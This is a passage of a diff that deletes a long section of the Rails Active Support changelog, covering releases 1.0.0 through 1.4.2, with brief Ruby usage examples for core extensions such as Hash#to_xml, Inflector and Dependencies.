-* Array#to_query preserves its ordering. #7756 [Greg Spurrier]
-
-* Out-of-range Time calculations transparently overflow to DateTime. Introduce Time#to_datetime. #7706, #7715 [Geoff Buesing]
-
-* DateTime calculations analogous to the Date and Time extensions. #7693 [Geoff Buesing]
-
-* Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting. #7649 [Geoff Buesing]
-
-* Add File.atomic_write, allows you to write large files in an atomic manner, preventing users from seeing half written files. [Michael Koziarski]
-
-* Allow users to provide custom formatters to Logger. [Anthony Eden]
-
-* Hash#to_query CGI-escapes its keys. [Jeremy Kemper]
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 [Bruce Perens]
-
-* :db format for Date#to_s [Jeremy Kemper]
- Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. [Rick Olson]
-
-* Added Hash#to_query to turn a hash of values into a form-encoded query string [Nicholas Seckar]
-
-* Increase test coverage for subclasses_of. Closes #7335. [Roman2K, Nicholas Seckar]
-
-* Remove unused code from Duration#inspect. Closes #7180. [Rich Collins]
-
-* Added test coverage for Inflector.inflections.clear. Closes #7179. [Rich Collins]
-
-* ActiveSupport::Multibyte::Handlers::UTF8Handler should raise when a range and an integer are passed in (just like the native implementation). Closes #7176 [Rich Collins]
-
-* A couple extra tests for #classify. Closes #7273. [Josh Susser]
-
-* Better docs for Object extensions [zackchandler, Jamis Buck]
-
-* Fix that Dates couldn't be subtracted from Dates after [5940]. [Sam Stephenson]
-
-* Add Object#acts_like? and Time#acts_like_time? and Date#acts_like_date? to facilitate duck-typing. [Jamis Buck]
-
-* Make 1.months and friends accurate by introducing a Duration class. #6835 [eventualbuddha]
-
-
-*1.4.2* (March 12th, 2007)
-
-* Ruby 1.8.6 and 1.9 define private Time#to_date and #to_datetime; make them
-public for compatibility. [Jeremy Kemper]
-
-* Deprecation: warn on stderr if RAILS_DEFAULT_LOGGER isn't set yet. [Jeremy Kemper]
-
-
-*1.4.1* (February 5th, 2007)
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 [Bruce Perens]
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. [Rick Olson]
-
-* Full test coverage for Inflector. #7228 [Dan Kubb]
-
-
-*1.4.0* (January 16th, 2007)
-
-* Document Inflector.ordinalize and merge docs from String inflections. #7023 [smeade]
-
-* Unbundle flexmock. [Jeremy Kemper]
-
-* Fix Dependencies.autoloaded? to ignore anonymous modules. Closes #6561. [Nicholas Seckar]
-
-* Update load once paths to prevent nested once constants from being detected and claimed by an external non-once load. [Nicholas Seckar]
-
-* Deprecation: silence warnings when reporting test errors. [Jeremy Kemper]
-
-* Hash#slice(*keys) returns a new hash with only the given keys. #slice! replaces the hash with only the given keys. Works with HashWithIndifferentAccess also. [Jeremy Kemper]
-
-* HashWithIndifferentAccess#to_hash converts to a Hash with String keys and the same default value. [Jeremy Kemper]
-
-* Fix remove_constant to correctly handle constant names of the form "::A::...". References #6720. [Nicholas Seckar]
-
-* Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 [thkarcher/cyu]
-
-* Added Time#to_s(:time) which will just return H:M, like 17:44 [David Heinemeier Hansson]
-
-* Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. [Stuart Halloway, Marcel Molina Jr.]
-
-* Hash#to_xml handles keys with the same name as Kernel methods. #6613 [Jonathan del Strother]
-
-* Added Time#end_of_day to get 23:59:59 of that day [David Heinemeier Hansson]
-
-* Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers. Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. [Sam Stephenson]
-
-* Lazily load the Unicode Database in the UTF-8 Handler [Rick Olson]
-
-* Update dependencies to delete partially loaded constants. [Nicholas Seckar]
-
-* Fix unicode JSON regexp for Onigurama compatibility. #6494 [whitley]
-
-* update XmlSimple to 1.0.10. Closes #6532. [Nick Sieger]
-
-* Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. [Nicholas Seckar]
-
-* next_week respects DST changes. #6483, #5617, #2353, #2509, #4551 [marclove, Rob Biedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net]
-
-* Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. [sergeykojin@gmail.com, Marcel Molina Jr.]
-
-* Ensure Chars#tidy_bytes only tidies broken bytes. Closes #6397 [Manfred Stienstra]
-
-* Add 'unloadable', a method used to mark any constant as requiring an unload after each request. [Nicholas Seckar]
-
-* Make core_ext/string/access.rb multibyte safe. Closes #6388 [Manfred Stienstra]
-
-* Make String#chars slicing behaviour consistent with String. Closes #6387 [Manfred Stienstra]
-
-* Pull in latest multibyte patch. Closes #6346 [Manfred Stienstra]
-
-* Add ActiveSupport::Multibyte. Provides String#chars which lets you deal with strings as a sequence of chars, not of bytes. Closes #6242 [Julian Tarkhanov, Manfred Stienstra, Thijs van der Vossen & Jan Behrens]
-
-* Fix issue with #class_inheritable_accessor saving updates to the parent class when initialized with an Array or Hash [mojombo]
-
-* Hash#to_xml supports Bignum and BigDecimal. #6313 [edibiase]
-
-* Don't undefine #class in OptionMerger [Rick Olson]
-
-* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 [David Heinemeier Hansson]
-
-* alias_method_chain works with accessor= methods also. #6153 [Caio Chassot]
-
-* Fix loadable_constants_for_path to handle load paths that do not end with a slash. [Nicholas Seckar]
-
-* Fix logic error in determining what was loaded by a given file. Closes #6039. [Nicholas Seckar]
-
-* Equate Kernel.const_missing with Object.const_missing. Fixes #5988. [Nicholas Seckar]
-
-* Add ApplicationController special case to Dependencies. [Nicholas Seckar]
-
-* Don't pad remaining places with in_groups_of if specified padding value is false. [Marcel Molina Jr.]
-
-* Fix cases where empty xml nodes weren't being translated to nil in Hash.create_from_xml [Rick Olso n]
-
- <written-on type="date"></written-on> # => { :type => 'date' } # WRONG
- <written-on type="date"></written-on> # => nil # RIGHT
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Inflections: don't singularize -ies plurals. [foamdino@gmail.com, Mark Van Holstyn]
-
-* Update Initializer to use load_once_paths to avoid plugin reloading. References #5852. [Nicholas Seckar]
-
-* Use Array#assoc in ActiveSupport::OrderedHash. [Mauricio Fernandez]
-
-* Greatly increased performance of String.to_json, which speeds up RJS considerably on large pages, fixes #3473 [Shugo Maeda]
-
-* Detect missing_constants calls from removed modules and fail accordingly. [Nicholas Seckar]
-
-* Stop using defined? in Dependencies.qualified_const_defined? since defined? may invoke const_missing. [Nicholas Seckar]
-
-* Dependencies can autoload directories of nested classes. [Jeremy Kemper]
- Example:
- invoice.rb class Invoice
- invoice/lineitem.rb class Invoice::Lineitem
-
-* Add Deprecation.silence so that Reloadable does not scold itself. [Nicholas Seckar]
-
-* Add debugging logging to Dependencies. Currently can be enabled with Dependencies.log_activity = true; adding to Initializer and documenting is forthcoming. [Nicholas Seckar]
-
-* Replace Reloadable with improvements to the Dependencies mechanism. [Nicholas Seckar]
-
-* DateTime#to_time gives hour/minute/second resolution. #5747 [jon.evans@pobox.com]
-
-* attr_internal to support namespacing and deprecation. Like attr_* except backed by internally-named instance variable. Set attr_internal_naming_format to change the format from the default '@_%s'. [Jeremy Kemper]
- # def foo() @foo__rofl end
- # def foo=(v) @foo__rofl = v end
- self.attr_internal_naming_format = '@%s__rofl'
- attr_internal :foo
-
-* Raise fully qualified names upon name errors. #5533 [Lars Pind, Nicholas Seckar]
-
-* Add extention to obtain the missing constant from NameError instances. [Nicholas Seckar]
-
-* Thoroughly document inflections. #5700 [petermichaux@gmail.com]
-
-* Added Module#alias_attribute [Jamis/David Heinemeier Hansson]. Example:
-
- class Content < ActiveRecord::Base
- # has a title attribute
- end
-
- class Email < ActiveRecord::Base
- alias_attribute :subject, :title
- end
-
- e = Email.find(1)
- e.title # => "Superstars"
- e.subject # => "Superstars"
- e.subject? # => true
- e.subject = "Megastars"
- e.title # => "Megastars"
-
-* Deprecation: easier to work with warning behavior as procs; default behaviors for each environment so users needn't update env.rb; and testing pleasure with assert_deprecated, assert_not_deprecated. [Jeremy Kemper]
- By default, test prints to $stderr, dev logs, production ignores.
- Provide your own per-environment in e.g. config/environments/development.rb:
- ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
-
-* First cut of the Rails Deprecation system. [Michael Koziarski]
-
-* Strip boolean XML content before checking for 'true' [Rick Olson]
-
-* Customize default BigDecimal formatting. References #5672 [Dave Thomas]
-
-* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml. [Rick Olson]
-
-* Optional identity for Enumerable#sum defaults to zero. #5657 [gensym@mac.com]
-
-* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 [Shugo Maeda]
-
-* Fixed HashWithIndifferentAccess#default #5586 [chris@seagul.co.uk]
-
-* More compatible Hash.create_from_xml. #5523 [nunemaker@gmail.com]
-
-* Added Enumerable#sum for calculating a sum from the elements [David Heinemeier Hansson, jonathan@daikini.com]. Examples:
-
- [1, 2, 3].sum
- payments.sum { |p| p.price * p.tax_rate }
- payments.sum(&:price)
-
- This is instead of payments.inject(0) { |sum, p| sum + p.price }
-
-* Correct and clarify Array#to_sentence docs. #5458 [brad@madriska.com]
-
-* alias_method_chain preserves method punctuation so foo, foo?, and foo! may be chained with the same feature. [Jeremy Kemper]
- Example:
- alias_method_chain :save!, :validation
- is equivalent to
- alias_method :save_without_validation!, :save!
- alias_method :save!, :save_with_validation!
-
-* Enhance Symbol#to_proc so it works with list objects, such as multi-dimensional arrays. Closes #5295 [nov@yo.rim.or.jp]. Example:
-
- {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
- # => ["one", "two", "three"]
-
-* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [David Heinemeier Hansson]. Example:
-
- Hash.create_from_xml <<-EOT
- <note>
- <title>This is a note</title>
- <created-at type="date">2004-10-10</created-at>
- </note>
- EOT
-
- ...would return:
-
- { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
-
-* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary [David Heinemeier Hansson]
-
-* Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 [anna@wota.jp]
-
-* to_xml fixes, features, and speedup: introduce :dasherize option that converts updated_at to updated-at if true (the existing default); binary columns get encoding="base64" attribute; nil values get nil="true" attribute to distinguish empty values; add type information for float columns; allow arbitrarily deep :include; include SQL type information as the type attribute. #4989 [Blair Zajac <blair@orcaware.com>]
-
-* Add OrderedHash#values. [Sam Stephenson]
-
-* Added Array#to_s(:db) that'll produce a comma-separated list of ids [David Heinemeier Hansson]. Example:
-
- Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
-
-* Normalize classify's argument to a String so that it plays nice with Symbols. [Marcel Molina Jr.]
-
-* Strip out leading schema name in classify. References #5139. [Michael Schoen]
-
-* Remove Enumerable#first_match since break(value) handles the use case well enough. [Nicholas Seckar]
-
- Enumerable#first_match was like detect, but instead of returning the matching element, the yielded value returned. For example:
-
- user_xml = adapters(:from => User, :to => Xml).first_match do |adapter|
- adapter.adapt @user
- end
-
- But this is just as easily done with:
-
- user_xml = adapters(:from => User, :to => Xml).each do
- break adapter.adapt(@user)
- end
-
-* Make Array#in_groups_of just return the grouped collection if a block isn't given. [Marcel Molina Jr.]
-
-* Don't destroy a HashWithIndifferentAccess if symbolize_keys! or stringify_keys! is called on it. Closes #5076. [Marcel Molina Jr., guy.naor@famundo.com]
-
-* Document Module::delegate. #5002 [pergesu@gmail.com]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Strip out punctuation on predicates or bang methods being aliased with alias_method_chain since target?_without_feature is not a valid method name. Add tests for Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Allow default options in with_options to be overridden. Closes #4480. [murphy@cYcnus.de]
-
-* Added Module#alias_method_chain [Jamis Buck]
-
-* Updated to Builder 2.0 [David Heinemeier Hansson]
-
-* Add Array#split for dividing arrays into one or more subarrays by value or block. [Sam Stephenson]
-
-*1.3.1* (April 6th, 2006)
-
-* Clean paths inside of exception messages and traces. [Nicholas Seckar]
-
-* Add Pathname.clean_within for cleaning all the paths inside of a string. [Nicholas Seckar]
-
-* provide an empty Dependencies::LoadingModule.load which prints deprecation warnings. Lets 1.0 applications function with .13-style environment.rb.
-
-
-*1.3.0* (March 27th, 2006)
-
-* When possible, avoid incorrectly obtaining constants from parent modules. Fixes #4221. [Nicholas Seckar]
-
-* Add more tests for dependencies; refactor existing cases. [Nicholas Seckar]
-
-* Move Module#parent and Module#as_load_path into core_ext. Add Module#parent. [Nicholas Seckar]
-
-* Add CachingTools::HashCaching to simplify the creation of nested, autofilling hashes. [Nicholas Seckar]
-
-* Remove a hack intended to avoid unloading the same class twice, but which would not work anyways. [Nicholas Seckar]
-
-* Update Object.subclasses_of to locate nested classes. This affects Object.remove_subclasses_of in that nested classes will now be unloaded. [Nicholas Seckar]
-
-* Update Object.remove_subclasses_of to use Class.remove_class, reducing duplication. [Nicholas Seckar]
-
-* Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 [François Beausoleil]
-
-* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" [David Heinemeier Hansson]
-
-* Added Hash#diff to show the difference between two hashes [Chris McGrath]
-
-* Added Time#advance to do precise time time calculations for cases where a month being approximated to 30 days won't do #1860 [Rick Olson]
-
-* Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) [Jamis Buck]
-
-* Switched to_xml to use the xml schema format for datetimes. This allows the encoding of time zones and should improve operability. [Michael Koziarski]
-
-* Added a note to the documentation for the Date related Numeric extensions to indicate that they're
-approximations and shouldn't be used for critical calculations. [Michael Koziarski]
-
-* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [David Heinemeier Hansson]. Examples:
-
- { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
-
- ...returns:
-
- <person>
- <street-name>Paulina</street-name>
- <name>David</name>
- <age type="integer">26</age>
- <moved-on type="date">2005-11-15</moved-on>
- </person>
-
-* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) [David Heinemeier Hansson]
-
-* Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 [rubyonrails@beautifulpixel.com]
-
-* Add Enumerable#group_by for grouping collections based on the result of some
- block. Useful, for example, for grouping records by date.
-
- ex.
-
- latest_transcripts.group_by(&:day).each do |day, transcripts|
- p "#{day} -> #{transcripts.map(&:class) * ', '}"
- end
- "2006-03-01 -> Transcript"
- "2006-02-28 -> Transcript"
- "2006-02-27 -> Transcript, Transcript"
- "2006-02-26 -> Transcript, Transcript"
-
- Add Array#in_groups_of, for iterating over an array in groups of a certain
- size.
-
- ex.
-
- %w(1 2 3 4 5 6 7).in_groups_of(3) {|g| p g}
- ["1", "2", "3"]
- ["4", "5", "6"]
- ["7", nil, nil]
-
- [Marcel Molina Jr., Sam Stephenson]
-
-* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal [David Heinemeier Hansson]
-
-* Add 'around' methods to Logger, to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski] Example:
-
- logger.around_info("Start rendering component (#{options.inspect}): ",
- "\n\nEnd of component rendering") { yield }
-
-* Added Time#beginning_of_quarter #3607 [cohen.jeff@gmail.com]
-
-* Fix Object.subclasses_of to only return currently defined objects [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Fix constantize to properly handle names beginning with '::'. [Nicholas Seckar]
-
-* Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
-
-* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_one :subscription
- delegate :free?, :paying?, :to => :subscription
- delegate :overdue?, :to => "subscription.last_payment"
- end
-
- account.free? # => account.subscription.free?
- account.overdue? # => account.subscription.last_payment.overdue?
-
-* Fix Reloadable to handle the case where a class that has been 'removed' has not yet been garbage collected. [Nicholas Seckar]
-
-* Don't allow Reloadable to be included into Modules.
-
-* Remove LoadingModule. [Nicholas Seckar]
-
-* Add documentation for Reloadable::Subclasses. [Nicholas Seckar]
-
-* Add Reloadable::Subclasses which handles the common case where a base class should not be reloaded, but its subclasses should be. [Nicholas Seckar]
-
-* Further improvements to reloading code [Nicholas Seckar, Trevor Squires]
-
- - All classes/modules which include Reloadable can define reloadable? for fine grained control of reloading
- - Class.remove_class uses Module#parent to access the parent module
- - Class.remove_class expanded to handle multiple classes in a single call
- - LoadingModule.clear! has been removed as it is no longer required
- - Module#remove_classes_including has been removed in favor of Reloadable.reloadable_classes
-
-* Added reusable reloading support through the inclusion of the Relodable module that all subclasses of ActiveRecord::Base, ActiveRecord::Observer, ActiveController::Base, and ActionMailer::Base automatically gets. This means that these classes will be reloaded by the dispatcher when Dependencies.mechanism = :load. You can make your own models reloadable easily:
-
- class Setting
- include Reloadable
- end
-
- Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. [David Heinemeier Hansson]
-
-* Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb [Nicholas Seckar]
-
-* Add Object#instance_exec, like instance_eval but passes its arguments to the block. (Active Support will not override the Ruby 1.9 implementation of this method.) [Sam Stephenson]
-
-* Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. [Sam Stephenson]
-
-* Fix merge and dup for hashes with indifferent access #3404 [Ken Miller]
-
-* Fix the requires in option_merger_test to unbreak AS tests. [Sam Stephenson]
-
-* Make HashWithIndifferentAccess#update behave like Hash#update by returning the hash. #3419, #3425 [asnem@student.ethz.ch, JanPrill@blauton.de, Marcel Molina Jr.]
-
-* Add ActiveSupport::JSON and Object#to_json for converting Ruby objects to JSON strings. [Sam Stephenson]
-
-* Add Object#with_options for DRYing up multiple calls to methods having shared options. [Sam Stephenson] Example:
-
- ActionController::Routing::Routes.draw do |map|
- # Account routes
- map.with_options(:controller => 'account') do |account|
- account.home '', :action => 'dashboard'
- account.signup 'signup', :action => 'new'
- account.logout 'logout', :action => 'logout'
- end
- end
-
-* Introduce Dependencies.warnings_on_first_load setting. If true, enables warnings on first load of a require_dependency. Otherwise, loads without warnings. Disabled (set to false) by default. [Jeremy Kemper]
-
-* Active Support is warnings-safe. #1792 [Eric Hodel]
-
-* Introduce enable_warnings counterpart to silence_warnings. Turn warnings on when loading a file for the first time if Dependencies.mechanism == :load. Common mistakes such as redefined methods will print warnings to stderr. [Jeremy Kemper]
-
-* Add Symbol#to_proc, which allows for, e.g. [:foo, :bar].map(&:to_s). [Marcel Molina Jr.]
-
-* Added the following methods [Marcel Molina Jr., Sam Stephenson]:
- * Object#copy_instance_variables_from(object) to copy instance variables from one object to another
- * Object#extended_by to get an instance's included/extended modules
- * Object#extend_with_included_modules_from(object) to extend an instance with the modules from another instance
-
-*1.2.5* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-*1.2.3* (November 7th, 2005)
-
-* Change Inflector#constantize to use eval instead of const_get. [Nicholas Seckar]
-
-* Fix const_missing handler to ignore the trailing '.rb' on files when comparing paths. [Nicholas Seckar]
-
-* Define kernel.rb methods in "class Object" instead of "module Kernel" to work around a Windows peculiarity [Sam Stephenson]
-
-* Fix broken tests caused by incomplete loading of active support. [Nicholas Seckar]
-
-* Fix status pluralization bug so status_codes doesn't get pluralized as statuses_code. #2758 [keithm@infused.org]
-
-* Added Kernel#silence_stderr to silence stderr for the duration of the given block [Sam Stephenson]
-
-* Changed Kernel#` to print a message to stderr (like Unix) instead of raising Errno::ENOENT on Win32 [Sam Stephenson]
-
-* Changed 0.blank? to false rather than true since it violates everyone's expectation of blankness. #2518, #2705 [rails@jeffcole.net]
-
-* When loading classes using const_missing, raise a NameError if and only if the file we tried to load was not present. [Nicholas Seckar]
-
-* Added petabytes and exebytes to numeric extensions #2397 [timct@mac.com]
-
-* Added Time#end_of_month to accompany Time#beginning_of_month #2514 [Jens-Christian Fischer]
-
-
-*1.2.2* (October 26th, 2005)
-
-* Set Logger.silencer = false to disable Logger#silence. Useful for debugging fixtures.
-
-* Add title case method to String to do, e.g., 'action_web_service'.titlecase # => 'Action Web Service'. [Marcel Molina Jr.]
-
-
-*1.2.1* (October 19th, 2005)
-
-* Classify generated routing code as framework code to avoid appearing in application traces. [Nicholas Seckar]
-
-* Show all framework frames in the framework trace. [Nicholas Seckar]
-
-
-*1.2.0* (October 16th, 2005)
-
-* Update Exception extension to show the first few framework frames in an application trace. [Nicholas Seckar]
-
-* Added Exception extension to provide support for clean backtraces. [Nicholas Seckar]
-
-* Updated whiny nil to be more concise and useful. [Nicholas Seckar]
-
-* Added Enumerable#first_match [Nicholas Seckar]
-
-* Fixed that Time#change should also reset usec when also resetting minutes #2459 [ikeda@dream.big.or.jp]
-
-* Fix Logger compatibility for distributions that don't keep Ruby and its standard library in sync.
-
-* Replace '%e' from long and short time formats as Windows does not support it. #2344. [Tom Ward <tom@popdog.net>]
-
-* Added to_s(:db) to Range, so you can get "BETWEEN '2005-12-10' AND '2005-12-12'" from Date.new(2005, 12, 10)..Date.new(2005, 12, 12) (and likewise with Times)
-
-* Moved require_library_or_gem into Kernel. #1992 [Michael Schuerig <michael@schuerig.de>]
-
-* Add :rfc822 as an option for Time#to_s (to get rfc822-formatted times)
-
-* Chain the const_missing hook to any previously existing hook so rails can play nicely with rake
-
-* Clean logger is compatible with both 1.8.2 and 1.8.3 Logger. #2263 [Michael Schuerig <michael@schuerig.de>]
-
-* Added native, faster implementations of .blank? for the core types #2286 [skae]
-
-* Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
-
-* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 [Chris McGrath]
-
-* Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 [k@v2studio.com]
-
-* Fixed dependencies related infinite recursion bug when a controller file does not contain a controller class. Closes #1760. [rcolli2@tampabay.rr.com]
-
-* Fixed inflections for status, quiz, move #2056 [deirdre@deirdre.net]
-
-* Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
-
-* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 [Manfred Stienstra]
-
-* Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
-
-* Added String#starts_with? and String#ends_with? #2118 [Thijs van der Vossen]
-
-* Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
-
- Inflector.inflections do |inflect|
- inflect.plural /^(ox)$/i, '\1\2en'
- inflect.singular /^(ox)en/i, '\1'
-
- inflect.irregular 'octopus', 'octopi'
-
- inflect.uncountable "equipment"
- end
-
-* Added String#at, String#from, String#to, String#first, String#last in ActiveSupport::CoreExtensions::String::Access to ease access to individual characters and substrings in a string serving basically as human names for range access.
-
-* Make Time#last_month work when invoked on the 31st of a month.
-
-* Add Time.days_in_month, and make Time#next_month work when invoked on the 31st of a month
-
-* Fixed that Time#midnight would have a non-zero usec on some platforms #1836
-
-* Fixed inflections of "index/indices" #1766 [damn_pepe@gmail.com]
-
-* Added stripping of _id to String#humanize, so "employee_id" becomes "Employee" #1574 [Justin French]
-
-* Factor Fixnum and Bignum extensions into Integer extensions [Nicholas Seckar]
-
-* Hooked #ordinalize into Fixnum and Bignum classes. [Nicholas Seckar, danp]
-
-* Added Fixnum#ordinalize to turn 1.ordinalize to "1st", 3.ordinalize to "3rd", and 10.ordinalize to "10th" and so on #1724 [paul@cnt.org]
-
-
-*1.1.1* (11 July, 2005)
-
-* Added more efficient implementation of the development mode reset of classes #1638 [Chris McGrath]
-
-
-*1.1.0* (6 July, 2005)
-
-* Fixed conflict with Glue gem #1606 [Rick Olson]
-
-* Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 [foamdino@gmail.com/others]
-
-* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 [Chris McGrath]
-
-* Made 1.year == 365.25.days to account for leap years. This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days. #1488 [tuxie@dekadance.se]
-
-* Added an exception if calling id on nil to WhinyNil #584 [kevin-temp@writesoon.com]
-
-* Added Fix/Bignum#multiple_of? which returns true on 14.multiple_of?(7) and false on 16.multiple_of?(7) #1464 [Thomas Fuchs]
-
-* Added even? and odd? to work with Bignums in addition to Fixnums #1464 [Thomas Fuchs]
-
-* Fixed Time#at_beginning_of_week returned the next Monday instead of the previous one when called on a Sunday #1403 [jean.helou@gmail.com]
-
-* Increased the speed of indifferent hash access by using Hash#default. #1436 [Nicholas Seckar]
-
-* Added that " " is now also blank? (using strip if available)
-
-* Fixed Dependencies so all modules are able to load missing constants #1173 [Nicholas Seckar]
-
-* Fixed the Inflector to underscore strings containing numbers, so Area51Controller becomes area51_controller #1176 [Nicholas Seckar]
-
-* Fixed that HashWithIndifferentAccess stringified all keys including symbols, ints, objects, and arrays #1162 [Nicholas Seckar]
-
-* Fixed Time#last_year to go back in time, not forward #1278 [fabien@odilat.com]
-
-* Fixed the pluralization of analysis to analyses #1295 [seattle@rootimage.msu.edu]
-
-* Fixed that Time.local(2005,12).months_since(1) would raise "ArgumentError: argument out of range" #1311 [jhahn@niveon.com]
-
-* Added silencing to the default Logger class
-
-
-*1.0.4* (19th April, 2005)
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
-
-* Fixed inflection of perspectives and similar words #1045 [Thijs van der Vossen]
-
-* Added Fixnum#even? and Fixnum#odd?
-
-* Fixed problem with classes being required twice. Object#const_missing now uses require_dependency to load files. It used to use require_or_load which would cause models to be loaded twice, which was not good for validations and other class methods #971 [Nicholas Seckar]
-
-
-*1.0.3* (27th March, 2005)
-
-* Fixed Inflector.pluralize to handle capitalized words #932 [Jeremy Kemper]
-
-* Added Object#suppress which allows you to make a saner choice around with exceptions to swallow #980. Example:
-
- suppress(ZeroDivisionError) { 1/0 }
-
- ...instead of:
-
- 1/0 rescue nil # BAD, EVIL, DIRTY.
-
-
-*1.0.2* (22th March, 2005)
-
-* Added Kernel#returning -- a Ruby-ized realization of the K combinator, courtesy of Mikael Brockman.
-
- def foo
- returning values = [] do
- values << 'bar'
- values << 'baz'
- end
- end
-
- foo # => ['bar', 'baz']
-
-
-*1.0.1* (7th March, 2005)
-
-* Fixed Hash#indifferent_access to also deal with include? and fetch and nested hashes #726 [Nicholas Seckar]
-
-* Added Object#blank? -- see http://redhanded.hobix.com/inspect/objectBlank.html #783 [_why the lucky stiff]
-
-* Added inflection rules for "sh" words, like "wish" and "fish" #755 [phillip@pjbsoftware.com]
-
-* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 [Tobias Lütke]
-
-* Added String#to_time and String#to_date for wrapping ParseDate
-
-
-*1.0.0* (24th February, 2005)
-
-* Added TimeZone as the first of a number of value objects that among others Active Record can use rich value objects using composed_of #688 [Jamis Buck]
-
-* Added Date::Conversions for getting dates in different convenient string representations and other objects
-
-* Added Time::Conversions for getting times in different convenient string representations and other objects
-
-* Added Time::Calculations to ask for things like Time.now.tomorrow, Time.now.yesterday, Time.now.months_ago(4) #580 [DP|Flurin]. Examples:
-
- "Later today" => now.in(3.hours),
- "Tomorrow morning" => now.tomorrow.change(:hour => 9),
- "Tomorrow afternoon" => now.tomorrow.change(:hour => 14),
- "In a couple of days" => now.tomorrow.tomorrow.change(:hour => 9),
- "Next monday" => now.next_week.change(:hour => 9),
- "In a month" => now.next_month.change(:hour => 9),
- "In 6 months" => now.months_since(6).change(:hour => 9),
- "In a year" => now.in(1.year).change(:hour => 9)
-
-* Upgraded to breakpoint 92 which fixes:
-
- * overload IRB.parse_opts(), fixes #443
- => breakpoints in tests work even when running them via rake
- * untaint handlers, might fix an issue discussed on the Rails ML
- * added verbose mode to breakpoint_client
- * less noise caused by breakpoint_client by default
- * ignored TerminateLineInput exception in signal handler
- => quiet exit on Ctrl-C
-
-* Fixed Inflector for words like "news" and "series" that are the same in plural and singular #603 [echion], #615 [marcenuc]
-
-* Added Hash#stringify_keys and Hash#stringify_keys!
-
-* Added IndifferentAccess as a way to wrap a hash by a symbol-based store that also can be accessed by string keys
-
-* Added Inflector.constantize to turn "Admin::User" into a reference for the constant Admin::User
-
-* Added that Inflector.camelize and Inflector.underscore can deal with modules like turning "Admin::User" into "admin/user" and back
-
-* Added Inflector.humanize to turn attribute names like employee_salary into "Employee salary". Used by automated error reporting in AR.
-
-* Added availability of class inheritable attributes to the masses #477 [Jeremy Kemper]
-
- class Foo
- class_inheritable_reader :read_me
- class_inheritable_writer :write_me
- class_inheritable_accessor :read_and_write_me
- class_inheritable_array :read_and_concat_me
